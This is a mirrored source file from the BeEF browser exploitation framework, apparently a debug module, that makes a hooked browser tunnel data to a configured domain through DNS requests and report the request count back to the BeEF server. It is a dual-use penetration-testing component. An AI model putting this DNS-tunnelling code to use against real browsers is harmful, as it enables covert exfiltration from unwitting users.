Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/debug/test_dns_tunnel_client/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/*
8
Check the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works.
9
*/
10
11
beef.execute(function() {
12
13
var msgId = "<%= @command_id %>";
14
var domain = "<%= @domain %>";
15
var data = "<%= @data %>";
16
//chunks comes from the callback
17
beef.net.dns.send(msgId, data, domain, function(chunks){
18
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+chunks+' requests sent');
19
}
20
);
21
22
});
23
24
25